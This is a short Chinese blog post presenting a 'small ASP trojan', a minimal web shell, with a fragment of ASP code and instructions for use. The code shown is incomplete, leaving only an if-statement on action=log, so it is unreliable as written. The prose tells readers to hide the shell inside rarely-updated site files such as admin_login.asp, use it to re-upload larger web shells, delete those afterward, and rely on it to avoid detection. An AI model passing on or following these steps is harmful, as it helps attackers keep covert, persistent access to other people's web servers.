一个ASP小马

2018-09-06 11:05

阅读:580

  <%if request.QueryString(action)=log then
<%end if%>

理由:能上传文件,简洁,体积小,不易发现。
使用:先用海阳或蓝屏用编辑功能将马编辑进一些不易更新的文件里,比如admin_login.asp.操作人家文件时只要在浏览器里输入admin_login.asp?action=log即可上传海阳或蓝屏,操作完后用蓝屏等自身删除功能将蓝屏删除。下回来时在用这常驻马上传海阳等。几乎用不被查杀。


评论


亲,登录后才可以留言!